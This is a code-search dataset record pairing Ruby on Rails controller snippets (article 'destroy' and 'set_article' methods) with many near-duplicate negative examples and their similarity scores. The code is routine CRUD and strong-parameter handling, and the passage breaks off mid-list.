def destroy @article.destroy respond_to do |format| format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @article = Article.find(params[:id]) \n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.where(id: params[:id]).last\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n auth_privilege\n\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def delete\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n \n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.internal.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_deleted') }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Recipe was deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Usuniฤ™to artykuล‚.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Aritcle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url, :notice => \"Successfully destroyed article. #{undo_link}\" }\n format.json { head :ok }\n end\n end", "def destroy\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article supprimรฉ.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'ฤŒlanek je bil uspeลกno izbrisan!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Articulo eliminado exitosamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: \"Article was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Straipsnis sekmingai pasalintas.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @journalarticle.destroy\n respond_to do |format|\n format.html { redirect_to journalarticles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article ||= Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n # format.html design Template\n format.html { redirect_to articles_url, notice: 'Artigo apagado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Vous avez bien detruit cet article' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article = Article.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html do\n redirect_to articles_url,\n notice: t('shared.msgs.success_destroyed',\n obj: t('activerecord.models.article', count: 1))\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html do\n redirect_to articles_url, notice: 'Article was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n\n #params.require(:article).permit(:title, :status)\n\n @article.destroy\n\n respond_to do |format|\n\n format.html { redirect_to articles_url, notice: \"Article was successfully destroyed.\" }\n\n format.json { head :no_content }\n\n end\n\n end", "def destroy\n @article.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: '่จ˜ไบ‹ใ‚’ๅ‰Š้™คใ—ใพใ—ใŸ' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article_datum = ArticleDatum.find(params[:id])\n @article_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to article_data_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7844117", "0.7832465", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78202105", "0.78176606", "0.78176606", "0.78176606", "0.78176606", "0.78176606", "0.78176606", "0.7812717", "0.7772706", "0.7772706", "0.7760549", "0.7760549", "0.7760549", "0.7760549", "0.77592236", "0.7735811", "0.76818407", "0.7666867", "0.7641783", "0.7623549", "0.7615011", "0.7588779", "0.75820553", "0.7519321", "0.75175774", "0.7515779", "0.7508829", "0.7506538", "0.75047415", "0.7500004", "0.7495304", "0.7490491", "0.7484903", "0.7482936", "0.74803895", "0.7472026", "0.7462497", "0.74381113", "0.74381113", "0.74381113", "0.74381113", "0.74381113", "0.74363416", "0.74323106", "0.7431951", "0.74256855", "0.7410031" ]
0.7506414
79
Use callbacks to share common setup or constraints between actions.
def set_article @article = Article.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def article_params params.require(:article).permit(:url, :title, :byline, :excerpt, :readerable, :scraped_at, :content_html) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, 